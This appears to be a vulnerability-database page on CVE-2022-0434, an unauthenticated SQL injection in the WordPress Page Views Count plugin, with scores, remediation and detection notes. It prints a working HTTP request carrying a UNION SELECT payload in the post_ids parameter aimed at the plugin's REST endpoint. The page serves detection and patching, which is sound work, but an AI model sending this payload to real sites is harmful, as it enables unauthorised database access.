🔙 목록으로 돌아가기

CVE-2022-0434: WordPress Page Views Count <2.4.15 - SQL Injection

TitleWordPress Page Views Count <2.4.15 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
RemediationUpdate to the latest version of the WordPress Page Views Count plugin (2.4.15) to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.88588
CVE IDCVE-2022-0434
CWE IDCWE-89
Tags cve cve2022 wordpress wp-plugin wp sqli wpscan unauth a3rev vkev vuln

🔍 Vulnerability Description

WordPress Page Views Count plugin prior to 2.4.15 contains an unauthenticated SQL injection vulnerability. It does not sanitise and escape the post_ids parameter before using it in a SQL statement via a REST endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5(0971),null,null%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/15.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0434.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0434.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A